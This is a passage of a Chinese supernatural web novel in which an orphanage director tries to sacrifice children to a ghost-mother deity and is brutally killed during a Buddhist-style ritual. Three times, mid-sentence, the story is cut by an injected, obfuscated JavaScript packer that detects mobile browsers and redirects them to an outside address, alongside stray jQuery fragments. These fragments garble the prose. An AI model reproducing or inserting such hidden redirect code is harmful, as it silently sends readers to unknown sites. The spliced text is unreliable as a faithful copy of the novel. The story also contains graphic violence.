他的信徒供奉佛子像,起初都为黑铜鎏金的表象,每日擦拭,若顺遂了佛子意,做了有益的事,擦出玉色佛身;佛子大喜,擦出碧玺莲座;佛子来实现愿望,擦出翡翠手指。背叛佛子信仰,说是最糟的情况会见佛眼半睁或全睁,蓝瞳怒目,倒映出死相。 施霜景是笨蛋,施霜景没经历过这一流程,施霜景走了一条岔路认识了罗爱曜,全然低估他的危险性。在与罗爱曜的相处中,每次他都多长一点记性,可不知道这记性要长到什么程度才算真正认识罗爱曜。 施霜景只知道现在他不敢转身坐回来了。 他身后的这尊空心佛……比怪物更像怪物。整个敞开的宝石芯朝向法会,也朝向施霜景,像敞开怀抱拥着他似的——体积差距巨大,施霜景甚至不及那空心佛内的一簇宝石晶体高,可他就是想到极其危险的拥抱的意象,周身像被针扎。美则美矣,于性命有碍,会污染精神。 施霜景甚至放弃问罗爱曜,这是你吗?这和你有关吗?统统是废话,不用问。厂里数千居民算什么,说场面确实这更算场面。 “邪教……邪——!啊——!疯了,你们都疯了——” 极为清晰的尖叫声,出自中年男人之口。他踉跄地在跪垫间穿行,时不时被绊几下,甚至有摔倒在跪坐的居民身上。居民不喜不悲,没有反应,中年男人就撑起身继续跑。中年男人尖叫往施霜景方向跑来,他身后多出几位跑动的身影。 “施……施什么……那个高中生!喂!帮帮忙!!把这个人抓住!” 白院长忽的见到一地的?人,叫得更为凄厉,没法再跑了,就打算往周围的迷雾间冲去,施霜景想不明白为什么白院长会出现在这里,他没事?为什么? 施霜景很讨厌白院长。他当年进孤儿院,没过两年孤儿院便搬至励光厂,原先的院长不是他,换址之后原来的院长不愿意跟过来,他家还在县里,况且他年纪已大了,不愿远行。白院长来到此处,吞了不少补贴,对管理福利院的事一概不上心,其实这样都还不算最麻烦。白院长会为身体或智力残疾的孩子做媒,尤其是女孩,原本就是从山里搬出来,竟然又把女孩送回去。男孩则送进别处的厂子里打工,能拿到回扣。刘茜和其他还算健全的成年孩子很是愤怒,可这就是社会,他们别无他法,白院长会说,不然你们来照顾他或她?成年了我们福利院就算是仁至义尽了,哪有管人一辈子的道理? 白院长也知道施霜景是双性人,看过他的档案,在刘茜不在的时候,他喊施霜景“人妖”,看施霜景的眼神也不对,既厌恶又好奇,后者比前者还让人作呕。所以施霜景一到十八岁,就算打工累到要去求邪佛保佑,也不愿意待在福利院。说什么欢迎回来吃饭,其实施霜景骑个自行车回福利院也就十几分钟的事,但施霜景不想遇见白院长。 “施霜景,施霜景,帮帮我——”白院长看见施霜景,眼里像是有了目标,决定向他求助,同时向他跑来。 施霜景好纠结。他定睛一看,背后在追白院长的……怎么是今天上门的警察?不就是谭鸿信过来传话说白院长举报刘奶奶搞邪教吗?好绕。天哪,他们都在干什么? 42.鬼子母神篇(十八) 谭鸿信疾跑中,夹克飞扬,无暇感慨这几千人跪拜的场面到底有多吓人,说吓人是挺吓人的,可他曾经去其他市的警察局参观学习过怎样维护斋月秩序,他知道搞宗教就是这样!一跪就跪个水泄不通!这里好歹秩序井然,唱经念法的声音也还算有安全感,毕竟中国人小时候谁没被父母带去过个把寺庙,进去拜一拜,许个美美的愿望,说到底这还是有福之音呢。谭鸿信仍处在刚才经历的破事的余韵中。 林鸣苦着脸缝合尸体,郎放等不下去了,说要去找福利院的白院长,问谭鸿信要不要一起去。林鸣用解剖刀威胁谭鸿信,说他要是跟郎放走,两人以后就从朋友变成仇人,这事儿要是能顺利过去,以后在局里就互相当做不认识吧。谭鸿信不是很信郎放,总还是觉得搞玄学的人不靠谱,又有林鸣这么留他,他肯定不会轻易就跟郎放跑了。然而郎放担心自己一个人搞不定,预感特别不好,福利院还有小孩子,怎么也得两个人去,出了什么事还有个照应。 思来想去,想来思去,郎放说:“我把念琅留在这里,正好她也不适合跟我一起去闯佛子的仪式现场。有条龙在,你会不会没那么害怕?” 龙?什么龙?真的假的?郎放话音刚落,林鸣就忽然觉得自己右上臂一紧,立刻就联想到蛇,一圈一圈地缠绕上来,特别清晰的腹部鳞片质感,还有……这是什么?小爪子吗?皮肤微微刺痛。还有须发的质感,既锋利又柔软的。甚至能感觉到头首的细微移动,她在找舒服的地方来放下龙颚。手臂上缠了这样的生物,林鸣却忽然整个人都情绪澎湃起来,他穿着长袖毛衣,手上还戴手套缝合尸体,不能拉开衣服来看,知道手臂上有一条活物,甚至是某种神话里的活物,却没办法多看一眼,这一下让林鸣心里那个刺挠啊,当下就忘记刚才威胁谭鸿信的话,只再确认似的问了郎放一句:“这真的是龙?不是蛇?我解剖完了能摸摸她吗?” “你能征求她的同意就行。” 谭鸿信就这样被郎放领出平房,两人启动面包车,谭鸿信还没想明白呢,怎么,这就把他卖了?刚才还把他当救星一样,仿佛谭鸿信走了林鸣就不活了。为了一条龙就把我卖了?是真龙吗?可恶!“那个,郎哥,一会儿我也能看看咱小龙吗?”谭鸿信坐副驾驶,小心翼翼问道。 “你们这是在干刑警?不如去干野生动物保育员。”郎放一打方向盘,打开车灯,开往励光福利院。 有车万事易,郎放顺着刚才他抽的土烟烟迹去找白院长,临到了岔路口,却发现烟没往福利院方向指,反倒是回了去往鬼母庙洞窟的山道。郎放心道不好,但还是谨慎地催油门,街上和公路上都暗如死地,没有路灯也没有楼内光亮,只能靠远光灯,视物条件差,不能开太快。果然,车辆驶出去几百米之后,郎放和谭鸿信都听见了人声——孩子们哭声凄厉,大人肮脏地喝骂,简直跟高压锅爆炸没分别。 估计白院长自己都没想到,这诡异环境下,竟然还能有人开车追过来?这是不是说明还有其他人像他一样特殊?郎放将车停在路中央,白院长带着院里七个孩子靠边走,马上就要到鬼母庙山底。二人下车,就看见孩子们不愿意再跟白院长走,也害怕开车来的人,尤其是这样的面包车。天黑黑,路好长,没有家的小孩们被带到哪里也都是暂时被养着。养着,然后呢? “谭警官?”白院长望了好一会儿才认出来人,“你……啊,你们是外来的,我知道了……所以你们不用去流水席!” “你带这些孩子去哪里?”谭鸿信严肃问道。 “不去哪里,就找个安全的地方躲一下。你也知道的,厂里现在不安全,呵呵。” “安全的地方?山里?山洞里?”谭鸿信微眯双眼,警惕非常。 “我都跟你说了,刘茜在搞邪教,她是邪教头子,你们不相信。唉,实话不瞒,我也要被逼疯了。我最近天天做梦啊,梦里……我在整个厂里游荡,有时还游荡回了福利院,我一整夜一整夜没有觉可以睡啊,就看见那些怪物来找这些小孩子……我就知道刘茜在用小孩子干坏事。他们都不乖!看他们丧眉搭眼、口歪眼斜的模样!” 郎放现身,他用身体斜插进白院长和最近的孩子中间,隔开了白院长和孩子群,“说重点。你带他们去干嘛?” “我晓得刘茜信的是哪里的妖婆,就是山上那座破庙的嘛。我也晓得以前这里的人怎么对这庙,就是用小孩……呵呵。”白院长说到这里,硬生生逼自己闭嘴,知道眼前的人是警察,不能把心里的想法往外说,可惜临时编谎又编不圆,“反正厂里不安全,去山洞也正常,是不是?等风头过去了,再带他们回福利院。” “院长说要去春游!”有小孩喜欢抢答,冒出声响。 春游?这大冬天的春哪门子游?小孩又说:“早就说了!上个星期就说了!我们这个星期要春游的,书包里还有零食。” 白院长猝不及防与谭鸿信一个对视,死小孩躲在大人身后,不知这句话暗里点破了白院长早有预谋的事实。不管白院长是要做什么,其心不正。 到此地步还不足以让白院长像后来一般屁滚尿流地逃跑。是郎放猛地上前制住白院长,往他嘴里不知道塞了什么。白院长被迫吞下去,腥臭汁液在嘴里炸开,真心话也就稀里糊涂说了出口:“鬼母要小孩,我送小孩给她……我送小孩给她……鬼母是神,不论是什么教,保佑我发财和后代高升的就是好教。我也有小孩,我儿子犯什么狗屁精神病,狗屁,抑郁症,焦虑症,什么狗屁,鬼母庙灵验就会让他好起来,他明年还要中考。鬼母是好神,我带小孩给她玩,只要不把小孩玩死,怎么样都可以。我也是听老人说的。鬼母庙最会保佑小孩。她不会对我们这些小孩做什么的,对不对?她也会保佑我儿子的,对不对?而且鬼母也来财,家和万事兴当然生财……为什么是刘茜!我不比她更好吗?!就算是邪教!为什么不是我!” 语速越来越快,见不得人的真心话一泻千里。说到此处,白院长忽的尖叫一声,挣开郎放的桎梏,飞奔而逃。谭鸿信二话不说就用双腿去追。 郎放稍留了一下,现在路上伸手不见五指,小孩没办法自己走回孤儿院,他只能找到七个孩子里年龄相对较大的小孩,哄他们进面包车里,郎放还留下了自己的手机,问小孩会不会玩手机。会。好的,郎放就打开了动画片,让小孩们在面包车里边吃零食边看动画,等他们回来。他们很快就会回来。 施霜景不知道这背后发生了这些事,谁让他站的是佛子一方,最邪祟的一方。白院长向他跑来,人在极度恐惧之下可以跑出自己都无法估量的速度与距离。在理智与情感的博弈下,施霜景暂时让理智上线,控制住给白院长一金刚杵的念头,佛子没拦他,施霜景就离开禅椅,正巧白院长朝他跑来,施霜景当即飞身扑倒白院长,将他压在身下,再让他这么跑下去,搞不好会冲撞到佛子。 白院长的手乱抓,施霜景上身躲闪,深深皱眉:“你冷静一点,白院长。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452046|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊——啊——警察也搞邪教,你呢?你怎么在这里?施霜景,我看你坐得稳稳当当的,你在干嘛?你和刘茜是一伙的?” 纵使白院长气喘成这样,嘴还是一样地臭。听见谭鸿信等人脚步声近了,白院长剧烈挣扎,险些掀翻施霜景。不行,施霜景怒血往脑门涌,他还是很讨厌白院长。 “这死家伙要用你们福利院的小孩去祭鬼母!刚才……哈,刚才我们在路上抓到他,差点就把小孩送去山洞了!”谭鸿信的解释言简意赅。 施霜景抓起白院长的衣领,梆梆给他两拳,让他左脸右脸吃了好结实的拳头。白院长当即就嘴角出血,咳嗽出声,嘴里还在连续不断地咒骂着。施霜景听不得污言秽语,恨不得抓起他的脑袋就往地上砸,可他若是后脑着地,施霜景就成杀人犯了。手上沾他的血,这边还有警察,不好,不能这么做,要是因为这家伙坐牢,简直是世上最冤枉。 谭鸿信硬生生跑了两公里,他是累得不行,趁施霜景替他教训贱人,他扶着膝盖大喘气。像他这样的无关人士,只能看见仪式现场,看不见佛子的璀璨琉璃身。 郎放和谭鸿信就是前后脚到达,施霜景终于和郎放见上面了。郎放蹲下来,按住白院长,然后朝施霜景点点头,示意施霜景可以放开。 白院长见施霜景好像在这群人里好像是个什么人物,不然怎么能高高在上地坐主位,他马上起了恶劣念头,一想起刚才施霜景那两个毫不犹豫的拳头,他就冲施霜景恶意嘲讽道:“死人妖还挺招人喜欢啊!项链都戴上了!我不知道你这么个高中生到底要怎么赚钱,现在经济形势这么差……但我听说你每个周末都要进城,怎么,在城里可以卖得起价格吗?……唔……我知道市里很多像你一样年纪的男孩子是同性……” 臭不可闻的一张嘴,郎放怎么捂都捂不住,这家伙就是要说,一定要说,不说会死。郎放在心中疯狂叹气。 施霜景刚才那两拳头其实还收了力气,现在他后悔没有用足十成力道。好死不死真让白院长说中了。他可不就是去城里卖了吗,还卖出了价格,引来这么一尊大佛,物理意义的大佛,招惹一众荒唐恐怖事。 忽然,郎放猛地抬头,立刻松开抓住白院长,摊开双臂,带着谭鸿信急急往后退去。施霜景已经离得比较远了,只见从天而降一枚铜钵,将白院长扣在钵内。 白院长彼时跌坐在地,腿脚伸展。铜钵落地,剁下白院长的双足。钵内爆发一阵撕心裂肺的痛叫,而死死倒扣的铜钵被一只看不见的大手瞬时平移到禅椅与琉璃巨佛的中间,擦出一地红痕如蚊血。 “回到椅子上去吧。”罗爱曜对施霜景说,“你已经站了我的边,不许和别人眉来眼去。” 施霜景:“我没有。不许造谣。我不和人眉来眼去。” 罗爱曜:“‘不许’?” 施霜景:“只许你说不许,不许我说不许?” 罗爱曜:“也别和我眉来眼去。快滚回去,仪式要开始了。” 施霜景:“……”有病。罗爱曜现在连个人形都不出现,眉在哪里,眼在哪里。 但不管怎么说,这好像是又一次……罗爱曜替施霜景出气。有吗?施霜景坐回禅椅。还是有的吧。有点害怕,又有点习惯了,还有点庆幸,以及一点点爽。唉,没救了。还是不该爽的。不论怎么看这都有点过火了吧。唉!可是没人能与罗爱曜讲道理啊!施霜景把纠结二字写在脸上,觉得自己好像越来越适应某个不可明说的身份了。 43.鬼子母神篇(十九) 一对残足徒留原地,谭鸿信被郎放挡在身后,他看见天降铜钵,斩断白院长的脚,像移骰子般将铜钵平移走。那个叫施霜景的男孩比郎放还不可捉摸,竟然在这场景下徐行坐回高台木椅。到底谁给他在那儿架了把椅子?他表情略有局促,可屁股坐得很稳当。 郎放心有余悸地喘息着,扫视全场,终于承认:“说不定我也是佛子算计的一环。他得逞了。我以为鬼子母神要拿这些小饿鬼当自己的子女,没想到还是需要原身的血脉。” 如果郎放不去找白院长,能不能当做没上这个当?但郎放想,以佛子这般的谋算,需要白院长的话,怎样都能把他抓来,说不定山洞里现在就有埋伏。不光是白院长,怕是鬼子母神的原尸都还有用,但郎放的想象力有局限,他没法再跟上佛子的思路了。 一切皆已就位。 罗爱曜垂目,陀罗尼的持诵终于到关键处,也终于可以到关键处。音调、韵律、时机,皆是完美。天间忽然一道惊雷斩下,云幕半遮巨大多宝琉璃佛,法身再改,重现漆黑金铜稳重色相,佛眼微睁,俯瞰面前众生如蝼蚁。蝼蚁有情,无尊卑优劣。佛有慈悲,可惜佛是佛,佛子是佛子。庄严慈悲,浪荡残忍,全都改做反义,也不会颠破他身份。 梵音震耳欲聋,施霜景不自觉双手捂住耳朵,跪垫上的人全都跟着那道梵音念诵长咒了。他们没学过,但他们都能跟着念,好虔诚,虔诚到痴癫地步。身后的铜钵内传来敲打铜壁的声音,还有男人的哭叫,施霜景忍不住回头。这么一个人关在钵里,冲撞如无头鼠,不忍再看,施霜景转回脸来。 声音和场景都超出施霜景的承受能力了,他又在心里问罗爱曜,能不能堵住他耳朵或者封住他眼睛,好吵。罗爱曜没理他,反正是施霜景选的,他要旁观就要旁观全套,否则真把罗爱曜当分他半张床的普通同居人。适当的怕,很有必要。这也是一种教育。 莫五娘手上虚虚牵住的脐管终于显露出来,刚才还看不见的。那一把脐管,最终都凝成一股,连在莫五娘的肚腹中央。莫五娘按了按脸颊,拭走泪水,台下的饿鬼开始变样。 这到底是超度饿鬼的焰口法会。佛子施食,他们吃够了。莫五娘最后的爱,也借着脐管相连的温存再度体验过了。他们当年都是冤枉死去的孩子,要说罪,又有什么罪呢。她从一旁的桌上取来一盏精致酥油小灯,点亮了。 莫五娘举着这盏酥油灯,决绝转身,脐管拖拽,那些活饿鬼往台上爬。施霜景又想起被卐型饿鬼围追堵截的回忆,下意识收起双腿,踩在椅边,坐姿不雅,还好没人呵斥他。可他再仔细看看,就发现这些活饿鬼的姿态不一样了。原本是畸行,随着莫五娘的前行,他们慢慢找到人类正常爬行时的感觉,四肢也好像复原了。莫五娘再多走几步,那些人形尝试站起。他们身量也缩了水,原本就不高的,一米六、一米七的饿鬼,再缩水就缩回了孩童体格。莫五娘往佛像处走去,真走了才知道其实相距算远,走到佛子的浪椅莲台下时,所有饿鬼皆转化回当年死前的样貌。就连这些饿鬼都暌违了的,自己的本貌,自己的人样。 不远处的谭鸿信心里发毛得厉害,下意识要走,郎放拉住他,低声道:“学着我,把外套脱了,垫在膝盖下面,参考旁边的那些人。这分钟我们走不了了。” 天老爷啊,谭鸿信又一次给不知道哪来的神下了跪。在他看来,郎放都已经够厉害了,拜托,有只龙当女儿诶!他都要跪,那谭鸿信还有不跪的道理?说起来他们到底在忌惮什么? 想到此处,谭鸿信余光里忽见到巍峨如山巨物,刚才还没有的。谭鸿信抬头,终于看见了顶天立地的佛子黑铜体色相显现。这下只能瞠目结舌了。 莫五娘操使着刘茜的身体。罗爱曜问:“你的人身,留还是舍?” “舍去了吧。不想再做那山精野怪般的肉灵芝了。” 厂郊平房里,即将完成缝合的林鸣忽然像是被人拉住右臂给拖走似的,屁股着地,往后滑出几米。再眨眼,女尸自燃。林鸣还举着自己戴手套的双手,整个人都呆了,早知现在,何必缝合啊!幸好有小龙提前一步感应到,否则岂不是连林鸣一起烧? 莫五娘供灯,却无发愿的念头。罗爱曜不恼,他又不是释迦牟尼,要贫女供灯养佛*1。莫五娘放下自己的灯,再转身回刚才的桌,再点,再步行这截路,为自己的这些半路子女供灯。脐管所连,这些幼童也跟在莫五娘身后,一句也不问,一声都不发,更是不可能啼哭,只跟随陪同莫五娘,折返地走。他们不能接触酥油灯,此等光明只有暂时借了人身的莫五娘能碰触,所以他们就一趟又一趟地来回,不知疲倦。 施霜景忽然非常感动,他看见熟悉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452047|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影带领这些小孩做恭敬的供养,这一幕简直是刘茜在福利院照养小孩的浓缩写照。人就是这样,有形体的生物只要其貌清丽,就会心生怜惜。这些饿鬼退回了当年死前的瘦弱模样,饥荒年间走的,衣不蔽体,因瘦弱而性征模糊了,小孩都不会难看到哪里去,更遑论饥饿时,孩子的眼睛更大,眼神更令人心惊。 供了几十盏灯,当年人祭了几十个小孩。莫五娘带领他们跪下,与厂里人那混沌呆滞的虔诚相比,这些孩子是真心相信,死过了也都还相信有来世光明,就跟这些灯一样,所以表情全不一样了。 梵音大作。倘若有人能懂,尤其懂仪式改动的部分,会听出这是佛陀教化的念语。莫五娘的故事,她自认不提也罢,可这要入她的典故,说便说吧。有莫村木匠四女,名为五娘,嫁白姓泥瓦匠二子,育有一子。时年,夫不孝不义,勾连匪窝,卖妻求荣,五娘为自保,白酒洗灼杀猪刀,白刀红刀溅血如纱。杀夫大罪,于是她爹娘亲自捆了她,押她去破败鬼母庙做人祭,还白家一条性命。往后历史更迭,人离去,人又回。 佛子说汝非慈却护子有情,饥困年间饿鬼法道应改,天地无慈,人无新罪,不该入饿鬼道。此山城水界一方百里,汝可受佛子教敕,我当敕诸声闻信众,施血缘供养还旧日神现其情,今再赐佛子施食,诸子可常与汝食此施食度转饿鬼道,来世光明道德圆满。若有余食汝可回施一切鬼神。皆悉运心令其饱足。时新鬼子母言,一切人民所生男女,我皆拥护令其安乐。世尊我此陀罗尼,能满一切诸有意愿。唯有佛子、如来及诸菩萨当证知我。佛子言鬼子母汝已受持。鬼子母言,如佛圣旨我当奉行。*2 脐带皆断。半路子女一拥而上,与新鬼子母神作道别。酥油灯连成焰光海,忽然一阵极盛的光亮,幼童饿鬼皆化作石头小像,散落一地。莫五娘跪在地上,一个个拾起石头小像,在佛前排成几列,从此以后,她就度转佛子施食和一切供养给这些小像,直到这些孩子顺利转世。 此时铜钵内的声音已减弱不少。慈爱的部分结束,残忍的部分迎来。新鬼子母心中到底有残暴,如郎放判断的那般,喜气怨气都旺盛。 *1:这里提及的是贫女难陀供灯、来世成佛的故事。 *2:直接参考、改动《诃利帝母经》(《大药叉女欢喜母并爱子成就法》)经文。 44.鬼子母神篇(二十) “郎哥,我们刚才做的那些有用吗?”谭鸿信跪地,学着旁边的人一起磕头,他稍稍转过脸去,小心翼翼问郎放。他想和郎放拉近点心理距离,所以才喊他郎哥。 “如果白院长是个不错的人,那就还有用。”郎放与其说是跪得心无旁骛,不如说是有点心灰意冷,“不论哪个年代,母亲见到没出息的子孙都会生气。新鬼子母神没有成神前的心魔弱处,我以前以为她会对自己的死亡耿耿于怀,要么就是惦念还留在世上的血脉,这是人死后最常留念的两样事,可我现在不确定了。” 谭鸿信想了想,如果他自己要变成鬼,估计也是想家人或是想自己为什么会死。这位鬼子母神两样都无所谓了,怪不得人家能成神。 台上的女人忽然倒地,施霜景惊了一跳,等了几秒,刘奶奶还是不起来,施霜景果断跑过去扶人。甭管她有没有被附身,老年人忽然倒地非常危险,最怕急病发作,就算不是急病,这么一摔也很容易摔出事。 施霜景扶起刘茜,她半昏迷着,好在脖颈还有脉搏。施霜景猜想是不是小诃利帝终于脱身了,果然,他看见一对赤足一步步往外走,白红色曼妙宝衣,却由于夜色而仿佛罩上一层黑纱。伫立天地间的巨大黑铜色身佛无动于衷,静观一切。女子的虚影走向铜钵,铜钵里已静默了,失去双脚的中年男人由震惊转为愤怒,疼痛很快主宰倾轧所有感受,于是变成孩哭,哭了一阵,无人理睬他,渐渐就不再出声。 女子伸手抚摸铜钵,最初两下还很慈爱的,摸着摸着,触电般收回手指,轻轻退步。 铜钵微微升起几十厘米,不高,然后,剧烈震荡,左右摇晃,只听得几十公斤的重物在钵内左右碰壁,尖叫一声,这条性命就此消亡了。颈骨折断,人肉与骨头在铜钵内不停地碰撞、摩擦,最初血肉模糊的几十下,然后这颗肉球逐渐成型,在持续的碰壁之下变得圆润、饱满、光滑。衣物、皮肤、毛发、血肉、骨骼全糅合在一起,一颗用中年男人制成的的胎丸。铜钵摇晃倾斜的幅度增大,让人隐约瞥见内里正在制作的东西。 施霜景离得不算远,定睛仔细瞧了半天,才发现白院长已经成了一枚肉丸。不行,施霜景还是无法适应罗爱曜和他的护法神的风格。这些死亡的譬喻都取自生活,可手段如天人异梦。 将人送进钵内揉成胎丸,铜钵摆荡九百九十九下,掀开来,一枚乌红的圆球立在供灯的平台前。鬼子母神转身,佛子的焰口法会即将结束,新鬼子母神的受持也即将结束。她也诚心作法会咒语,一同超度饿鬼,而胎丸还需要供上一炷香时间。 跪拜众人也早已起身,谭鸿信和郎放学着他们,坐直身体,正好看见铜钵摇晃的最后十几下,也见到铜钵掀开。 “刚才在摇钵……钵里不是有人吗?”谭鸿信惊诧道。 郎放:“人就在那里了。” 谭鸿信:“……” 谭鸿信:“我靠……这,这真是邪教吧……我还记得白院长去警察局投诉邪教,这是对他的报复吗?他不是和鬼子母神有血缘关系吗?虎毒还不食子呢。” 郎放摇摇头,手指了指太阳穴,“封建迷信不可怕,可怕的是琢磨不透行为模式的存在。” 谭鸿信想起自己看过的那些恐怖片。好像的确如此。如果知道恶鬼的夙愿就能让恶鬼消气,这是劣质鬼片。最恐怖的鬼是藉由极致的怨气转化成另外一维度的存在留在世上,从此随心所欲,占领一栋旧屋或是在特定时间出场,说害人就害人,毫不留情,也无逻辑,想杀就杀了。 一炷香时间到,鬼子母神回到胎丸前,微微前倾身体,做出亲吻姿态。出自我身的血脉,也由我收回,这才是清净。实体的胎丸仿佛瞬间化水,亲吻像是嘬吸,很快这丸衣就瘪缩下来,内容物全进了鬼子母神的肚皮。 咒声霎时停止,天地寂静。 忽然一阵强烈的眩晕,施霜景稳住身体没有压在刘茜身上。天旋地转间,他好像坐回了椅子上,面前长桌连着长桌,满汉全席,觥筹交错。 施霜景定神。他真的坐在流水席里,最靠外侧的第一桌。吃喝的动静很热闹,人们搛菜,饮料满上,凉菜热菜,甚至听见了大锅快炒的声音,好像还有流水席的大厨似的。肩膀忽然搭上一只手,施霜景吓一跳,差点掀翻面前的桌子。 “吃吧,仪式结束了。”罗爱曜说。 施霜景举目四望,大家真的在吃吃喝喝,好像刚才的大场面是假的一般,什么虔诚,什么人不人鬼不鬼。斜对角坐着的是施霜景前排的男同学,再往长桌延伸的方向看过去,这流水席简直是热火朝天,服务员艰难地穿行在塑料椅与塑料椅间的狭窄缝隙,旁边的大婶朝服务员说下次不许摆这样密集的流水席了,都没法好好上菜,服务员无奈地笑答,说都是他们老板安排的呀,老板也是听客户的要求,这份梅菜扣肉不然就留在您桌上?大婶双手接下了服务员手上的盘子。 这怎么吃得下!施霜景愤然离席,眼神找寻着刘茜的身影。他和佛子的连接好像还没断似的,佛子依然知道施霜景在想什么,说:“送刘茜和那些孩子回福利院了。真的不吃点?” 施霜景压低声音:“白院长怎么了?那位小诃利帝去哪里了?” 罗爱曜无辜道:“你不是经历过这样的事吗?我杀人如非必要不留痕,鬼子母神就差一些,毕竟是新护法神。你的白院长估计要在警察局那儿挂失踪了吧。至于小诃利帝,她现在已经是鬼子母神了,得去掉‘小’字。她是我的护法神,没有人身,平日里无事就继续居于鬼母庙,需要现身的时候会显现,或者,她会找她感兴趣的人一起生活的,她怎么生活就与我无关了。” 正如罗爱曜所说的那样,他杀人不留痕,会用新的因果替换掉旧的因果,就像杨玲玲事件中,一些人死了如同从没来过这世间,一些人死了则是完全替换成新的人。施霜景也不敢追问这些新的人是从哪儿来的,反正能维持秩序就行。 经历了这么多,施霜景身上还牢牢地焊着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452048|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的书包。现在几点了?施霜景下意识摸兜,才想起自己的手机已葬身火海。 “我要去找我的手机……” “再买一部就好。” “手机里有玉米小时候的照片。火灾是真实发生的么?我要去看看。” 罗爱曜拉住施霜景,施霜景这人精力太旺盛了,不打工一周就生龙活虎得要命,爬过墙头、打过饿鬼,还旁观完整场吓死人的仪式,现在还有体力打算跑走。“拿着吧。但我估计你还是得换一台。”施霜景手里被塞进一部手机,正是他的那部,只是屏幕摔出了彩虹屏,只有大概三分之一正常显像。 施霜景怔怔接过手机,“谢谢。”他道谢的声音也傻傻愣愣的,看来他的心理状态还没从刚才的情境里脱离——在仪式中,施霜景多次洗脑自己,他必须听罗爱曜的话,不能坏他的事。 任谁都能看出来,罗爱曜玩弄几千号人跟吃饭喝水一样简单,不以任何人的意志为转移。 这真不是和施霜景在家里小打小闹的那号小佛。施霜景不禁犯了个激灵,下意识退后一步,拉远他和罗爱曜之间的距离。 罗爱曜眼里的笑意沉了下去,“你怕我?” 这是本能反应,就像鸡皮疙瘩起来,无法靠意志力压下去。恐惧也是一样的。更重要的是,罗爱曜策划了这一切,表面上还装得像是来享受人类生活,天天睡懒觉。这样一场涉及整个厂仪式的只需要一周来作准备,如果罗爱曜有心想再干些别的震天动地之大坏事,估计是一样的云淡风轻,信手拈来。施霜景怎么可能不怕。罗爱曜是他的谁?这样危险的人物不管是他的谁,他都要心生警惕才对吧。 这时施霜景才注意到罗爱曜手里有个小塑料袋。他隐约察觉出罗爱曜情绪不对了,连忙转移话题:“你手里是什么?” “这个?柳司机送来的BY药。” “……”早知道不问了。 “施霜景!”谭鸿信大声喊道。他不知道自己怎么出了那个仪式,一出来发现大家吃得和乐融融,谭鸿信的小心脏都要停跳了。没找到郎放,但找见了施霜景。谭鸿信想找施霜景再问些事,于是便喊了他名字,同时往他的方向走去。 只是和施霜景正在对话的那个男人,谭鸿信没见过。施霜景看见谭鸿信,眼神也跟见了救兵一样,草草和男人说了几句,就闪身过来找谭鸿信了。 施霜景走后,罗爱曜还留在原地,看表情就知道,他的好心情瞬间全无。他拎起塑料袋,取出几盒BY药,一一查看过去,有长效的也有短效的。罗爱曜不理解,施霜景这是什么意思?到底有完没完?怕他?罗爱曜对施霜景不可谓不好,凭什么怕他?小狗一样的高中生,别人招招手就跑过去,只有在吃食和要人护的时候才来找他。凭什么? 施霜景没想到,这时因恐惧和混乱而拉出的一截用于自我冷静的心理距离,让罗爱曜又失望了。没法适应就是没法适应。而且施霜景是人,不是谁的小狗,没有谁是他的主人。 45.智商传递不等式 施霜景回到家已是晚上快十点。闹出这样的事,饿鬼饥肠的流水盛宴,傍晚众人吃尽了大餐,班主任张国强竟然还在微信群里让家长送学生们回来晚自习。施霜景的精神今天遭尽冲击,人还坐在教室里,魂已经不知道飘到哪里去。 谭鸿信想找他调查,可没说几句话就被电话召唤走。施霜景看得出谭鸿信想套他近乎,对话只能从最日常的话题开始,比如施霜景的高考生身份。可惜谭鸿信一听施霜景的回答,看他的眼神就只能是莫名其妙,万分不解。 “高考?补习?谁给你补习?家庭教师?还是自学?”谭鸿信鄙夷道,“出去报个班不好吗?跟不上班里进度就出去报班补课,老师还会盯得更仔细,哪里不会补哪里……哦,对了,你有钱吗?我记得福利院的补贴……” 施霜景冷淡道:“补习班很贵,而且我的成绩很差,补习班会更贵。”他难道不知道吗?他在拿到佛子这个金主给的第一笔一万块时就想过,能不能出去找住宿制的补习班补习?可惜佛子根本没给他这个选项啊。佛子这人,不来则已,一来则全面入侵。流水席仪式过后,施霜景反刍出自己对罗爱曜的恐惧,绝对不敢触他霉头,能保持距离都算不错了。 “你成绩怎么样?”谭鸿信不死心继续问。 “……” “你别发怵啊!我当年成绩也就那样,警校生,成绩能好到哪里去?我连本省的警校都没考上,哈哈。” “上个月月考,二百四。” 